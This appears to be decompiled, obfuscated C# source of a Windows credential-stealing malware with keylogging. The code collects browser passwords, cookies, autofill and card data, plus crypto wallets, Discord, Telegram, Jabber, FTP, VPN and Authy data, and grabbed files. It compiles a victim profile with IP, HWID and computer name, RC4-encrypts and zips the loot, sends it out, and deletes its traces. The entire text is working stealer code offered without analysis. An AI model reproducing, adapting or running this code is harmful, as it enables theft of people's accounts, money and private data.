// Token: 0x060001F0 RID: 496 RVA: 0x00010AE8 File Offset: 0x0000ECE8 public static void cmethod_244() { foreach (string str_ in Class_5.field_7) { Class_82.vmethod_245(str_, "g"); } }
// Token: 0x06000024 RID: 36 RVA: 0x00003664 File Offset: 0x00001864 public static void dmethod_16() { using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866"))) { class_.prop_34 = -1L; class_.prop_17 = Class_169.Always; class_.prop_9 = Class_202.BestCompression; class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb; class_.vmethod_775("Keylog" + Class_8.field_8.ToString() + ".txt", Encoding.UTF8.GetBytes(Class_8.field_6)); Class_8.field_6 = ""; class_.smethod_930(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Microsoft\\Log" + Class_8.field_8.ToString() + ".zip"); } Class_82.vmethod_245(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Microsoft\\Log" + Class_8.field_8.ToString() + ".zip", "k"); try { File.Delete(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Microsoft\\Log" + Class_8.field_8.ToString() + ".zip"); } catch { } }
// Token: 0x060001EB RID: 491 RVA: 0x000108AC File Offset: 0x0000EAAC public static void smethod_240() { try { if (Directory.Exists(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm)) { Directory.Delete(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm + "\\", true); } if (File.Exists(Class_49.field_9)) { File.Delete(Class_49.field_9); } if (File.Exists(Class_49.field_10)) { File.Delete(Class_49.field_10); } Class_82.gmethod_243(); } catch { } }
// Token: 0x060001F6 RID: 502 RVA: 0x00010EC2 File Offset: 0x0000F0C2 internal void nmethod_1() { Class_82.dmethod_246(this.field_0, this.field_1); }
// Token: 0x06000126 RID: 294 RVA: 0x0000C0D0 File Offset: 0x0000A2D0 public static void GetCollection() { Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals1 = new Class_53.< > c__DisplayClass6_0(); Directory.CreateDirectory(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm); Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals2 = CS$ < > 8__locals1; Task[] array = new Task[1]; array[0] = new Task(delegate() { Class_57.a(); }); CS$ < > 8__locals2.t0 = array; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals3 = CS$ < > 8__locals1; Task[] array2 = new Task[1]; array2[0] = new Task(delegate() { Class_53.GetChromium(); }); CS$ < > 8__locals3.t1 = array2; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals4 = CS$ < > 8__locals1; Task[] array3 = new Task[1]; array3[0] = new Task(delegate() { Class_53.GetGecko(); }); CS$ < > 8__locals4.t2 = array3; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals5 = CS$ < > 8__locals1; Task[] array4 = new Task[1]; array4[0] = new Task(delegate() { Class_113.tmethod_412(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli); }); CS$ < > 8__locals5.t3 = array4; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals6 = CS$ < > 8__locals1; Task[] array5 = new Task[1]; array5[0] = new Task(delegate() { Class_56.gmethod_153(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals6.t4 = array5; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals7 = CS$ < > 8__locals1; Task[] array6 = new Task[1]; array6[0] = new Task(delegate() { Class_13.gmethod_33(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals7.t5 = array6; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals8 = CS$ < > 8__locals1; Task[] array7 = new Task[1]; array7[0] = new Task(delegate() { Class_3.tmethod_2(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals8.t6 = array7; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals9 = CS$ < > 8__locals1; Task[] array8 = new Task[1]; array8[0] = new Task(delegate() { Class_10.xmethod_31(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals9.t7 = array8; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals10 = CS$ < > 8__locals1; Task[] array9 = new Task[1]; array9[0] = new Task(delegate() { Class_91.dmethod_256(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals10.t8 = array9; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals11 = CS$ < > 8__locals1; Task[] array10 = new Task[1]; array10[0] = new Task(delegate() { Class_7.pmethod_9(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals11.t9 = array10; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals12 = CS$ < > 8__locals1; Task[] array11 = new Task[1]; array11[0] = new Task(delegate() { Class_17.cmethod_44(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals12.t11 = array11; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals13 = CS$ < > 8__locals1; Task[] array12 = new Task[1]; array12[0] = new Task(delegate() { Class_54.xmethod_151(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals13.t12 = array12; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals14 = CS$ < > 8__locals1; Task[] array13 = new Task[1]; array13[0] = new Task(delegate() { Class_14.vmethod_35(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals14.t13 = array13; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals15 = CS$ < > 8__locals1; Task[] array14 = new Task[1]; array14[0] = new Task(delegate() { Class_11.tmethod_32(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals15.t14 = array14; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals16 = CS$ < > 8__locals1; Task[] array15 = new Task[1]; array15[0] = new Task(delegate() { Class_96.vmethod_265(); }); CS$ < > 8__locals16.t15 = array15; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals17 = CS$ < > 8__locals1; Task[] array16 = new Task[1]; array16[0] = new Task(delegate() { Class_83.kmethod_247(); }); CS$ < > 8__locals17.t16 = array16; try { new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t0; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t1; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t2; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t3; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t4; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t5; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t6; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t7; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t8; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t9; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t11; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t12; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t13; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t14; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t15; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t16; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); Task.WaitAll(CS$ < > 8__locals1.t0); Task.WaitAll(CS$ < > 8__locals1.t1); Task.WaitAll(CS$ < > 8__locals1.t2); Task.WaitAll(CS$ < > 8__locals1.t3); Task.WaitAll(CS$ < > 8__locals1.t4); Task.WaitAll(CS$ < > 8__locals1.t5); Task.WaitAll(CS$ < > 8__locals1.t6); Task.WaitAll(CS$ < > 8__locals1.t7); Task.WaitAll(CS$ < > 8__locals1.t8); Task.WaitAll(CS$ < > 8__locals1.t9); Task.WaitAll(CS$ < > 8__locals1.t11); Task.WaitAll(CS$ < > 8__locals1.t12); Task.WaitAll(CS$ < > 8__locals1.t13); Task.WaitAll(CS$ < > 8__locals1.t14); Task.WaitAll(CS$ < > 8__locals1.t15); Task.WaitAll(CS$ < > 8__locals1.t16); } catch { } GC.Collect(); try { Class_2.xmethod_1(Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq); } catch { } try { Class_57.b(); Class_93.Copy(); } catch { } Class_5.field_4.Clear(); Class_5.field_5.Clear(); Class_5.field_6.Clear(); GC.Collect(); string s = string.Concat(new string[] { "<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">", Class_103.field_0, "</h1>\n<p style=\"color:white\">\ud83d\udc64 ", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, "/", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ", Class_47.IP(), Class_47.Country(), Class_47.checc(), "</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\"> ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\"> ∟Chromium: ", Class_49.field_1.ToString(), "</p>\n<p style=\"color:white;margin-left:-1.5em\"> ∟Edge: ", Class_113.field_0.ToString(), "</p>\n<p style=\"color:white;margin-left:-0.9em\"> ∟Gecko: ", Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(), "</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83c\udf6a", (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(), "</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83d\udd51", Class_49.field_5.ToString(), "</p>\n<p style=\"color:white;margin-left:-4.5em\"> ∟\ud83d\udcdd", Class_49.field_2.ToString(), "</p>\n<p style=\"color:white;margin-left:-5.5em\"> ∟\ud83d\udcb3", Class_49.field_6.ToString(), "</p>\n<p style=\"color:white;margin-left:-4.8em\"> ∟⨭", Class_49.field_3.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ", (Class_54.field_0 > 0) ? "✅" : "❌", (Class_79.field_0 > 0) ? " Electrum" : "", (Class_73.field_0 > 0) ? " Armory" : "", (Class_4.field_0 > 0) ? " Atomic" : "", (Class_20.field_0 > 0) ? " BitcoinCore" : "", (Class_80.field_0 > 0) ? " Bytecoin" : "", (Class_94.field_0 > 0) ? " DashCore" : "", (Class_18.field_0 > 0) ? " Ethereum" : "", (Class_90.field_0 > 0) ? " Exodus" : "", (Class_6.field_0 > 0) ? " LitecoinCore" : "", (Class_55.field_0 > 0) ? " Monero" : "", (Class_89.field_0 > 0) ? " Zcash" : "", (Class_15.field_0 > 0) ? " Jaxx" : "", "</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ", Class_5.field_1.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ", Class_5.field_3.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ", Class_5.field_2.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ", (Class_17.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\">✈️ Telegram: ", (Class_96.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ", (Class_11.field_0 + Class_74.field_0 > 0) ? "✅" : "❌", (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "", (Class_11.field_0 > 0) ? " Psi" : "", "</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\"> ∟ FileZilla: ", (Class_13.field_0 > 0) ? ("✅ (" + Class_13.field_0.ToString() + ")") : "❌", "</p>\n<p style=\"color:white\"> ∟ TotalCmd: ", (Class_3.field_0 > 0) ? "✅" : "❌", "</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\"> ∟ NordVPN: ", (Class_7.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\"> ∟ OpenVPN: ", (Class_91.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\"> ∟ ProtonVPN: ", (Class_10.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ", Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz, "</p>\n<p style=\"color:white\">⚙️ ", Class_14.smethod_40(), "</p>\n<p style=\"color:white\">\ud83d\udd0e ", Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf, "</p>\n</center>\n</body>\n</html>" }); string s2 = string.Concat(new string[] { Class_103.field_0, "\nComputer: ", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, "/", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "\nIP: ", Class_47.IP(), Class_47.Country(), Class_47.checc(), "\nBrowsers Data\n ∟Passwords:\n ∟Chromium: ", Class_49.field_1.ToString(), "\n ∟Edge: ", Class_113.field_0.ToString(), "\n ∟Gecko: ", Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(), "\n ∟Cookies:", (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(), "\n ∟History:", Class_49.field_5.ToString(), "\n ∟Autofills:", Class_49.field_2.ToString(), "\n ∟CC:", Class_49.field_6.ToString(), "\n ∟Downloads:", Class_49.field_3.ToString(), "\nWallets: ", (Class_54.field_0 > 0) ? "Yes" : "No", (Class_79.field_0 > 0) ? " Electrum" : "", (Class_73.field_0 > 0) ? " Armory" : "", (Class_4.field_0 > 0) ? " Atomic" : "", (Class_20.field_0 > 0) ? " BitcoinCore" : "", (Class_80.field_0 > 0) ? " Bytecoin" : "", (Class_94.field_0 > 0) ? " DashCore" : "", (Class_18.field_0 > 0) ? " Ethereum" : "", (Class_90.field_0 > 0) ? " Exodus" : "", (Class_6.field_0 > 0) ? " LitecoinCore" : "", (Class_55.field_0 > 0) ? " Monero" : "", (Class_89.field_0 > 0) ? " Zcash" : "", (Class_15.field_0 > 0) ? " Jaxx" : "", "\nFileGrabber: ", Class_5.field_1.ToString(), "\nRecursive Wallets: ", Class_5.field_3.ToString(), "\nRDP: ", Class_5.field_2.ToString(), "\nDiscord: ", (Class_17.field_0 > 0) ? "Yes" : "No", "\nTelegram: ", (Class_96.field_0 > 0) ? "Yes" : "No", "\nJabber: ", (Class_11.field_0 + Class_74.field_0 > 0) ? "Yes" : "No", (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "", (Class_11.field_0 > 0) ? " Psi" : "", "\nFTP\n ∟ FileZilla: ", (Class_13.field_0 > 0) ? ("Yes (" + Class_13.field_0.ToString() + ")") : "No", "\n ∟ TotalCmd: ", (Class_3.field_0 > 0) ? "Yes" : "No", "\nVPN\n ∟ NordVPN: ", (Class_7.field_0 > 0) ? "Yes" : "No", "\n ∟ OpenVPN: ", (Class_91.field_0 > 0) ? "Yes" : "No", "\n ∟ ProtonVPN: ", (Class_10.field_0 > 0) ? "Yes" : "No", "\nHWID: ", Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz, "\nDomains: ", Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf }); Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information.html", Class_47.RC4(Encoding.UTF8.GetBytes(s))); Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information_Simplified.txt", Class_47.RC4(Encoding.UTF8.GetBytes(s2))); string str_ = string.Concat(new string[] { Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm, "\\", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "_", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, Class_47.CountryCOde(), ".zip" }); using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866"))) { class_.prop_34 = -1L; class_.prop_17 = Class_169.Always; class_.prop_9 = Class_202.BestCompression; class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb; foreach (KeyValuePair <string, byte[]> keyValuePair in Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln) { class_.vmethod_775(keyValuePair.Key, Class_47.RC4(keyValuePair.Value)); } foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp) { try { class_.pmethod_749(keyValuePair2.Key, keyValuePair2.Value); } catch { } } if (Class_96.field_2 != null) { class_.lmethod_778(Class_96.field_2, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Telegram"); } if (Class_83.field_0 != null) { class_.lmethod_778(Class_83.field_0, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Authy"); } class_.smethod_930(str_); Class_47.DeleteDirectory(Class_96.field_2); Class_47.DeleteDirectory(Class_83.field_0); } Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Clear(); Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp.Clear(); GC.Collect(); Class_82.vmethod_245(str_, "s"); Class_82.cmethod_244(); Class_81.smethod_240(); }
